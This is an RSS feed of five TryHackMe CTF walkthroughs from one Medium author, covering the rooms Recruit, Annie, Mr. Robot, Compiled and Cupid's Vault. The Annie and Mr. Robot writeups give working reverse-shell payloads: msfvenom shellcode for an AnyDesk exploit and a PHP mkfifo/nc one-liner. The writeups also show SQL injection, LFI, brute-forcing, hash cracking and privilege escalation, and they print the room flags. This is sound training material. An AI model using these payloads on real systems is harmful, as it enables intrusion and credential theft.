<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by GHOST PORT on Medium]]></title>
        <description><![CDATA[Stories by GHOST PORT on Medium]]></description>
        <link>https://medium.com/@umairashik123?source=rss-f329537cd8fe------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*zV7uZbVhrSstBWYm-Sz9Xw.jpeg</url>
            <title>Stories by GHOST PORT on Medium</title>
            <link>https://medium.com/@umairashik123?source=rss-f329537cd8fe------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 17:17:00 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@umairashik123/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe — Recruit Writeup: From Port Scan to Admin Access]]></title>
            <link>https://medium.com/@umairashik123/tryhackme-recruit-writeup-from-port-scan-to-admin-access-8d3b5741cfc5?source=rss-f329537cd8fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/8d3b5741cfc5</guid>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[GHOST PORT]]></dc:creator>
            <pubDate>Wed, 27 May 2026 12:17:15 GMT</pubDate>
            <atom:updated>2026-05-27T12:17:15.617Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A walkthrough covering nmap recon, local file inclusion, and SQL injection.</em></p><h3>Introduction</h3><p>The <strong>Recruit</strong> room on TryHackMe puts you in front of a recruitment portal that management suspects was built without much thought for security. Your job is to think like an attacker — map the surface, abuse exposed functionality, and escalate all the way to administrator access.</p><p>In this writeup I’ll walk through every step: port scanning with nmap, discovering a local file inclusion vulnerability, leaking credentials, and finally exploiting SQL injection to dump the admin password.</p><blockquote><strong><em>Difficulty:</em></strong><em> Easy/Medium | </em><strong><em>Category:</em></strong><em> Web | </em><strong><em>Platform:</em></strong><em> TryHackMe</em></blockquote><h3>Step 1 — Recon with Nmap</h3><p>Before touching the web app, I added the machine to /etc/hosts:</p><pre>&lt;machine-ip&gt;    recruit.thm</pre><p>Then I ran a full nmap scan with service detection, default scripts, and no ping (the host doesn’t respond to ICMP):</p><pre>nmap -sC -sV -Pn -p- recruit.thm</pre><p>The results came back with three open ports:</p><p>Port Service Version 22/tcp SSH OpenSSH 8.2p1 53/tcp DNS ISC BIND 9.16.1 80/tcp HTTP Apache 2.4.41</p><p>SSH is interesting but useless without credentials. DNS is worth noting. The main target is port 80.</p><h3>Step 2 — Web Enumeration</h3><p>Browsing to http://recruit.thm/ I&#39;m greeted with a login page. Nothing obvious to exploit here yet, but there&#39;s a link in the footer pointing to an API page.</p><pre>http://recruit.thm/api.php</pre><p>The API has a feature for retrieving uploaded CVs. Looking at the URL structure, it’s loading files directly from the filesystem — a classic sign of a <strong>Local File Inclusion (LFI)</strong> vulnerability. I noted this as a potential attack vector and moved on.</p><h3>Directory Brute-Force</h3><p>I used Feroxbuster to discover any hidden paths:</p><pre>feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u &#39;http://recruit.thm&#39;</pre><p>One result stood out immediately: /mail/mail.log. Log files are goldmines.</p><h3>Step 3 — Reading the Mail Log</h3><p>Visiting the log at http://recruit.thm/mail/mail.log revealed an internal email with two very useful pieces of information:</p><ul><li>The HR account username is <strong>hr</strong></li><li>The HR credentials are <em>temporarily</em> stored in the application’s config.php file</li><li>Admin credentials are stored only in the database</li></ul><p>This tells us exactly what to do next: use the LFI to read config.php, then find a way into the database.</p><h3>Step 4 — Exploiting LFI to Get HR Credentials</h3><p>The CV retrieval endpoint accepts a file path. By passing a file:// URI we can point it at any file on the server:</p><pre>http://recruit.thm//file.php?cv=file:///var/www/html/config.php</pre><p>Instead of executing the PHP, the server serves it as plaintext — meaning the credentials inside are fully readable. The HR password is right there in clear text.</p><p>With that, I headed back to the login page and signed in as hr.</p><p>🚩 <strong>Flag 1 is on the dashboard.</strong></p><h3>Step 5 — Finding SQL Injection</h3><p>Inside the dashboard there’s a candidate search bar. I immediately tested it with a single quote to see if the input was being sanitised:</p><pre>http://recruit.thm/dashboard.php?search=&#39;</pre><p>The app returned a raw SQL error. The search parameter is being passed directly into a database query — <strong>SQL injection confirmed</strong>.</p><h3>Step 6 — Dumping the Database with SQLMap</h3><p>I intercepted the authenticated GET request using Burp Suite and saved it to req.txt. Then I handed it to SQLMap.</p><p><strong>Enumerate databases:</strong></p><pre>sqlmap -r req.txt --dbs</pre><p>SQLMap identifies recruit_db as the target database.</p><p><strong>Enumerate tables:</strong></p><pre>sqlmap -r req.txt -D recruit_db --tables</pre><p>There’s a users table — exactly what we need.</p><p><strong>Dump the users table:</strong></p><pre>sqlmap -r req.txt -D recruit_db -T users --dump</pre><p>The dump returns the admin username and password in plain text. Log out, log back in as admin, and the final flag is waiting on the dashboard.</p><p>🚩 <strong>Flag 2 captured — room complete.</strong></p><h3>Summary</h3><p>Step Technique Finding Port scan nmap Ports 22, 53, 80 open Web recon Manual browsing API with LFI potential Dir brute-force Feroxbuster /mail/mail.log leaks HR info LFI file:// URI HR password in config.php SQLi discovery Manual (&#39;) Error-based injection confirmed DB dump SQLMap Admin credentials extracted</p><p>This room is a great example of how a chain of individually small misconfigurations — an insecure file retrieval API, a leaked log, unsanitised SQL input — can be combined into full admin compromise. None of these bugs would be catastrophic alone, but together they hand over the keys entirely.</p><p><em>Thanks for reading. If you found this helpful, feel free to follow for more TryHackMe writeups.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8d3b5741cfc5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — Annie Room Writeup Difficulty]]></title>
            <link>https://medium.com/@umairashik123/tryhackme-annie-room-writeup-difficulty-3b3f2a323ed1?source=rss-f329537cd8fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/3b3f2a323ed1</guid>
            <category><![CDATA[annie]]></category>
            <category><![CDATA[thm-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[GHOST PORT]]></dc:creator>
            <pubDate>Fri, 13 Mar 2026 22:22:42 GMT</pubDate>
            <atom:updated>2026-03-13T22:22:42.178Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>TryHackMe — Annie Room Writeup</strong> <strong>Difficulty:</strong> Medium <strong>Platform:</strong> Linux <strong>Tags:</strong> AnyDesk RCE, SSH key cracking, Linux privilege escalation (capabilities / setcap) <strong>Room Link:</strong> <a href="https://tryhackme.com/room/annie">https://tryhackme.com/room/annie</a> <strong>Hint from room:</strong> “Remote access comes in different flavors.”</p><h3>1. Reconnaissance &amp; Enumeration</h3><p>Start with a full port scan to identify open services:</p><p>Bash</p><pre>sudo nmap -p- -sV -sC -oN nmap_full.txt 10.10.XX.XX   # Replace with your target IP</pre><p>Typical results:</p><ul><li><strong>22/tcp</strong> → OpenSSH (standard SSH)</li><li><strong>7070/tcp</strong> → ssl/realserver? (but openssl s_client reveals it’s AnyDesk Client with self-signed cert CN=AnyDesk Client)</li><li>Sometimes a random high TCP port (30k–50k range) appears, but it’s usually irrelevant for initial access.</li></ul><p>Confirm AnyDesk vulnerability by connecting:</p><p>Bash</p><pre>openssl s_client -connect 10.10.XX.XX:7070</pre><p>You will see CN=AnyDesk Client in the certificate → points to vulnerable AnyDesk ~5.5.2.</p><h3>2. Initial Access: Exploiting AnyDesk RCE (CVE-2020–13160)</h3><p>The room exploits <strong>AnyDesk 5.5.2 Remote Code Execution</strong> via a format string vulnerability over UDP port <strong>50001</strong> (discovery port).</p><p><strong>Steps:</strong></p><ol><li>Generate reverse shell payload (avoid bad chars \x00\x25\x26):</li></ol><p>Bash</p><pre>msfvenom -p linux/x64/shell_reverse_tcp LHOST=&lt;YOUR_THM_VPN_IP&gt; LPORT=4444 -b &quot;\x00\x25\x26&quot; -f python -v shellcode</pre><p>Copy the shellcode = b”…” block.</p><ol><li>Use a working exploit script. The original Exploit-DB #49613 often fails in Python 3 due to bytes/str issues. Recommended reliable version:</li></ol><ul><li><a href="https://github.com/josephalan42/Exploits/blob/main/AnyDesk%205.5.2%20-%20Remote%20Code%20Execution">https://github.com/josephalan42/Exploits/blob/main/AnyDesk%205.5.2%20-%20Remote%20Code%20Execution</a></li></ul><ol><li>Download → edit:</li></ol><ul><li>Set ip = ‘10.10.XX.XX’</li><li>Keep port = 50001</li><li>Replace shellcode with your generated one</li></ul><ol><li>Start listener:</li></ol><p>Bash</p><pre>nc -lvnp 4444</pre><ol><li>Run exploit (try Python 2 first if Python 3 fails):</li></ol><p>Bash</p><pre>python2 exploit.py<br># or python3 exploit.py</pre><p><strong>Tips if no shell:</strong></p><ul><li>Reset the machine (THM room page → Reset) — AnyDesk hangs easily.</li><li>Run the script 3–6 times after reset (UDP packet loss).</li><li>Change LPORT to 8888/9999 and regenerate shellcode if 4444 fails.</li><li>Confirm your VPN IP with ip a show tun0.</li></ul><p>You get a low-priv reverse shell (often as www-data or similar).</p><p>Stabilize:</p><p>Bash</p><pre>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;<br># Ctrl+Z → stty raw -echo; fg → Enter → export TERM=xterm</pre><h3>3. User Flag &amp; Lateral Movement</h3><p>Bash</p><pre>whoami<br>id<br>cat /home/annie/user.txt</pre><p>→ <strong>User flag:</strong> THM{N0t_Ju5t_ANY_D3sk}</p><p>Look in /home/annie/.ssh/:</p><p>Bash</p><pre>ls -la /home/annie/.ssh/<br>cat /home/annie/.ssh/id_rsa</pre><p>Copy the private key to your machine (e.g., base64 encode/paste or scp).</p><p>Crack passphrase:</p><p>Bash</p><pre>chmod 600 id_rsa<br>ssh2john id_rsa &gt; hash.txt<br>john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt</pre><p>John reveals the passphrase (simple word from rockyou).</p><p>SSH as annie:</p><p>Bash</p><pre>ssh -i id_rsa annie@10.10.XX.XX</pre><p>Enter passphrase when prompted.</p><h3>4. Privilege Escalation to Root</h3><p>Enumerate capabilities and SUID:</p><p>Bash</p><pre>getcap -r / 2&gt;/dev/null<br>find / -perm -u=s -type f 2&gt;/dev/null<br>sudo -l</pre><p>Key finding: A copy of /usr/bin/python3 (or similar binary) has misconfigured capabilities allowing cap_setuid+ep (often in /home/annie/ or writable dir).</p><p>Exploit via GTFOBins pattern:</p><p>Bash</p><pre># Copy python3 if needed (some writeups do this)<br>cp /usr/bin/python3 .<br>sudo setcap cap_setuid+ep ./python3</pre><pre># Now abuse<br>./python3 -c &#39;import os; os.setuid(0); os.system(&quot;/bin/bash&quot;)&#39;</pre><p>You get root shell.</p><p>Bash</p><pre>whoami   # root<br>cat /root/root.txt</pre><p>→ <strong>Root flag:</strong> THM{0nly_th3m_5.5.2_D3sk}</p><h3>Summary / Key Learnings</h3><ul><li>AnyDesk 5.5.2 has a classic RCE via UDP/50001 discovery packet with format string abuse.</li><li>Exploit is flaky → reset + multiple runs + python2 often needed.</li><li>SSH key passphrase cracking is common lateral movement.</li><li>Linux privesc via <strong>capabilities</strong> (setcap cap_setuid) instead of classic SUID — check getcap!</li><li>Always reset the machine when exploits hang.</li></ul><p>Great medium room for practicing real-world remote desktop vulns + capability-based escalation.</p><p>Happy hacking! If you followed along, submit both flags on TryHackMe to complete the room.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3b3f2a323ed1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Mr. Robot CTF Walkthrough — Finding All Three Keys]]></title>
            <link>https://medium.com/@umairashik123/tryhackme-mr-robot-ctf-walkthrough-finding-all-three-keys-d761ed6bc7b1?source=rss-f329537cd8fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/d761ed6bc7b1</guid>
            <category><![CDATA[thm]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[mr-robot]]></category>
            <dc:creator><![CDATA[GHOST PORT]]></dc:creator>
            <pubDate>Thu, 12 Mar 2026 17:30:27 GMT</pubDate>
            <atom:updated>2026-03-12T17:30:27.880Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Room Link:</strong> <a href="https://tryhackme.com/room/mrrobot">https://tryhackme.com/room/mrrobot</a></p><p><strong>Difficulty:</strong> Medium</p><p><strong>OS:</strong> Linux</p><p><strong>Tags:</strong> Web Exploitation, WordPress, Reverse Shell, Privilege Escalation, SUID Abuse</p><p>This iconic TryHackMe room is inspired by the TV show <em>Mr. Robot</em>. The goal is simple: find three hidden keys (flags) on the target machine. It’s a perfect beginner-to-intermediate CTF that teaches reconnaissance, web app exploitation, credential cracking, shell stabilization, and Linux privilege escalation.</p><p><strong>Note:</strong> All IPs shown are examples — replace them with your deployed machine’s IP.</p><h3>1. Initial Reconnaissance</h3><p>Start with a full Nmap scan to identify open ports and services:</p><p>Bash</p><pre>nmap -sC -sV -p- -oN nmap-scan.txt &lt;target-ip&gt;</pre><p>Results typically show:</p><ul><li>Port 80 (HTTP) — Apache web server</li><li>Port 443 (HTTPS) — same site</li></ul><p>Browse to http://&lt;target-ip&gt; — you get a stylish Mr. Robot-themed landing page with a fake terminal interface (just for show — no real commands work).</p><p>Check common files: http://&lt;target-ip&gt;/robots.txt</p><p>text</p><pre>User-agent: *<br>fsociety.dic<br>key-1-of-3.txt</pre><ul><li>Visit http://&lt;target-ip&gt;/key-1-of-3.txt → <strong>Key 1</strong>073403c8a58a1f80d943455fb30724b9</li><li>Download fsociety.dic → a large wordlist (over 858k lines, but many duplicates). This will be useful soon.</li></ul><p><strong>Key 1 achieved!</strong> Now let’s find a way in.</p><h3>2. Directory Enumeration &amp; WordPress Discovery</h3><p>Use Gobuster (or dirb) to find hidden directories:</p><p>Bash</p><pre>gobuster dir -u http://&lt;target-ip&gt; -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt</pre><p>Key findings:</p><ul><li>/wp-login.php → WordPress login page!</li><li>/wp-admin/ and other WP paths confirm it’s a WordPress site.</li></ul><p>The fsociety.dic list is probably usernames or passwords. But it’s huge — clean it first:</p><p>Bash</p><pre>sort fsociety.dic | uniq | wc -l   # ~11451 unique lines</pre><p>Many writeups brute-force with Hydra, trying usernames from the list against common passwords or vice versa.</p><p>Common approach:</p><ul><li>Try usernames from fsociety.dic with a small password list (or single password like “password”).</li><li>Error message on failed login is “Invalid username” — use that for accurate brute-forcing.</li></ul><p>Hydra command example (user list brute-force with fixed pass “password”):</p><p>Bash</p><pre>hydra -L fsociety.dic -p password &lt;target-ip&gt; http-post-form &quot;/wp-login.php:log=^USER^&amp;pwd=^PASS^&amp;wp-submit=Log+In:Invalid username&quot; -t 4</pre><p>But the efficient/real path: One username stands out — <strong>elliot</strong> (from the show). Password turns out to be <strong>ER28–0652</strong> (a nod to the series — often found by trying obvious show references or cracking later).</p><p>Login → <strong>elliot:ER28–0652</strong></p><h3>3. Getting a Reverse Shell</h3><p>Once logged in as a WP admin/editor:</p><ul><li>Go to Appearance → Theme Editor (or Plugin Editor if available).</li><li>Edit a theme file (e.g., 404.php or footer.php) and inject a PHP reverse shell.</li></ul><p>Popular one-liner (replace YOUR_IP and PORT):</p><p>PHP</p><pre>&lt;?php system(&quot;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc YOUR_IP 4444 &gt;/tmp/f&quot;); ?&gt;</pre><ul><li>Set up listener: nc -lvnp 4444</li><li>Trigger the shell by visiting a non-existent page (e.g., /blah).</li></ul><p>You land as user <strong>www-data</strong> (or daemon in some cases).</p><p><strong>Stabilize the shell</strong> (important for su later):</p><p>Bash</p><pre>python -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;<br># Ctrl+Z<br>stty raw -echo; fg<br># Enter twice<br>export TERM=xterm</pre><h3>4. Finding Key 2 — Lateral Movement to robot</h3><p>Check /home/ → users: <strong>robot</strong></p><p>In /home/robot/:</p><ul><li>key-2-of-3.txt → owned by robot, not readable yet</li><li>password.raw-md5 → contains an MD5 hash: c3fcd3d76192e4007dfb496cca67e13b</li></ul><p>Crack it (CrackStation, hashcat, or John): → plaintext: <strong>abcdefghijklmnopqrstuvwxyz</strong></p><p>Switch user:</p><p>Bash</p><pre>su robot<br># password: abcdefghijklmnopqrstuvwxyz</pre><p>Now read:</p><p>Bash</p><pre>cat /home/robot/key-2-of-3.txt</pre><p><strong>Key 2:</strong> 822c73956184f694993bede3eb39f959</p><h3>5. Privilege Escalation to Root — Key 3</h3><p>From robot user, enumerate SUID binaries:</p><p>Bash</p><pre>find / -perm -u=s -type f 2&gt;/dev/null</pre><p>Classic vuln: /usr/local/bin/nmap has SUID bit set (old version).</p><p>Exploit nmap interactive mode:</p><p>Bash</p><pre>nmap --interactive<br>nmap&gt; !sh</pre><p>Boom — root shell (# prompt)!</p><p>Grab the final flag:</p><p>Bash</p><pre>cat /root/key-3-of-3.txt</pre><p><strong>Key 3:</strong> 04787ddef27c3dee1ee161b21670b4e4</p><h3>Summary — The Three Keys</h3><ul><li><strong>Key 1</strong> (web-accessible): 073403c8a58a1f80d943455fb30724b9</li><li><strong>Key 2</strong> (user robot): 822c73956184f694993bede3eb39f959</li><li><strong>Key 3</strong> (root): 04787ddef27c3dee1ee161b21670b4e4</li></ul><h3>Key Learnings</h3><ul><li>Always check /robots.txt early.</li><li>WordPress + weak creds = quick foothold.</li><li>MD5 hashes crack fast if common.</li><li>SUID on nmap = instant root (GTFOBins style).</li><li>Stabilize shells before su/sudo.</li></ul><p>This room is a fantastic blend of web → foothold → priv esc. Highly recommend it!</p><p>If you enjoyed this writeup, clap/follow for more CTF walkthroughs. Happy hacking! 🚩</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d761ed6bc7b1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe | Compiled — Write-Up]]></title>
            <link>https://medium.com/@umairashik123/tryhackme-compiled-write-up-12f7884662f4?source=rss-f329537cd8fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/12f7884662f4</guid>
            <category><![CDATA[thm]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[thm-walkthrough]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[GHOST PORT]]></dc:creator>
            <pubDate>Fri, 27 Feb 2026 16:06:57 GMT</pubDate>
            <atom:updated>2026-02-27T16:06:57.482Z</atom:updated>
            <content:encoded><![CDATA[<h3>Challenge Overview</h3><p>We’re given a binary and asked to find the password it accepts.</p><h3>Initial Reconnaissance</h3><p>Running the binary reveals a simple password prompt:</p><pre>$ ./Compiled.Compiled<br>Password: test<br>Try again!</pre><p>Since we don’t know the password, the next step is static analysis.</p><h3>Decompiling with Ghidra</h3><p>Loading the binary into Ghidra and examining the main function gives us the following decompiled code:</p><pre>undefined8 main(void) {<br>    int iVar1;<br>    char local_28 [32];</pre><pre>    fwrite(&quot;Password: &quot;, 1, 10, stdout);<br>    __isoc99_scanf(&quot;DoYouEven%sCTF&quot;, local_28);</pre><pre>    iVar1 = strcmp(local_28, &quot;__dso_handle&quot;);<br>    if ((-1 &lt; iVar1) &amp;&amp; (iVar1 = strcmp(local_28, &quot;__dso_handle&quot;), iVar1 &lt; 1)) {<br>        printf(&quot;Try again!&quot;);<br>        return 0;<br>    }</pre><pre>    iVar1 = strcmp(local_28, &quot;_init&quot;);<br>    if (iVar1 == 0) {<br>        printf(&quot;Correct!&quot;);<br>    } else {<br>        printf(&quot;Try again!&quot;);<br>    }<br>    return 0;<br>}</pre><h3>Code Analysis</h3><p>Breaking down the logic step by step:</p><p><strong>Input parsing:</strong> The scanf format string &quot;DoYouEven%sCTF&quot; captures everything between the literal prefix DoYouEven and the suffix CTF, storing the middle portion into local_28. For example, entering DoYouEven_initCTF would store _init in local_28.</p><p><strong>First check:</strong> The program compares local_28 against &quot;__dso_handle&quot;. If they are equal (i.e. strcmp returns 0), it immediately prints &quot;Try again!&quot; and exits. This is essentially a guard to block one specific input.</p><p><strong>Second check:</strong> The program then compares local_28 against &quot;_init&quot;. If equal, it prints &quot;Correct!&quot; — meaning _init is the value we need in local_28.</p><h3>Crafting the Password</h3><p>Since scanf extracts the middle portion of the input, we need to wrap _init with the expected prefix and suffix:</p><pre>DoYouEven_initCTF</pre><h3>Verification</h3><pre>$ ./Compiled.Compiled<br>Password: DoYouEven_initCTF<br>Correct!</pre><p>The password is <strong>DoYouEven_initCTF</strong>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=12f7884662f4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cracking Cupids Vault : A CTF Walkthrough]]></title>
            <link>https://medium.com/@umairashik123/cracking-cupids-vault-a-ctf-walkthrough-11c00cf290e1?source=rss-f329537cd8fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/11c00cf290e1</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[hidden-deep-into-my-heart]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[GHOST PORT]]></dc:creator>
            <pubDate>Tue, 17 Feb 2026 15:09:48 GMT</pubDate>
            <atom:updated>2026-02-17T15:09:48.363Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>In this challenge, titled <strong>“Hidden Deep Into My Heart,”</strong> I was tasked with infiltrating a web application called <strong>Cupid’s Vault</strong>. The journey took me through hidden directories, leaked credentials, and a deep dive into command injection vulnerabilities. Here is how I captured the flag.</p><h3>The Hacker’s Toolbox</h3><p>Before diving into the steps, here are the tools and commands utilized during this engagement:</p><p><strong>Nmap:</strong> For service discovery and port scanning.</p><p><strong>GoBuster / Dirbuster:</strong> For directory brute-forcing.</p><h3>Phase 1: Reconnaissance &amp; Enumeration</h3><p>The attack began with a comprehensive scan of the target IP to identify open services.</p><p><strong>Command:</strong></p><pre>nmap -sV -sC -Pn -p- [TARGET_IP]</pre><p><em>Result:</em> Port <strong>5000</strong> was identified as the primary web server.</p><p>Every good web assessment starts with the basics. I checked the robots.txt file to see what the developers were trying to hide from search engines.</p><p><strong>Leaked Password : </strong>cupid_arrow_2026!!!</p><p><strong>Significance:</strong> In CTFs, strings like this are almost always passwords or hints for a future login.</p><p>The home page was a simple landing site, but it hinted that there was “more to discover.” I used <strong>GoBuster</strong> to hunt for hidden directories:</p><pre>gobuster dir -u http://[TARGET_IP]:5000 -w /usr/share/wordlists/dirb/common.txt</pre><p><strong>The Result:</strong> The scan uncovered a hidden administrative portal at:/cupids_secret_vault/administrator/</p><h4>FINAL PHASE:</h4><p>Recalling the password from robots.txt, I decided to test standard usernames.</p><ul><li><strong>Username:</strong> admin</li><li><strong>Password:</strong> cupid_arrow_2026!!!</li></ul><p><strong>Success!</strong> The server accepted the credentials without requiring a complex exploit.</p><p>Once inside the Vault, the dashboard displayed the flag clearly.</p><ul><li><strong>User Flag:</strong> THM{...} (Redacted for spoilers)</li></ul><h3>Lessons Learned</h3><ol><li><strong>Recon is King:</strong> The password found in the first 2 minutes was the key to the entire room.</li><li><strong>Directory Sensitivity:</strong> The /administrator/ directory was hidden behind a subdirectory; thorough enumeration is vital.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=11c00cf290e1" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>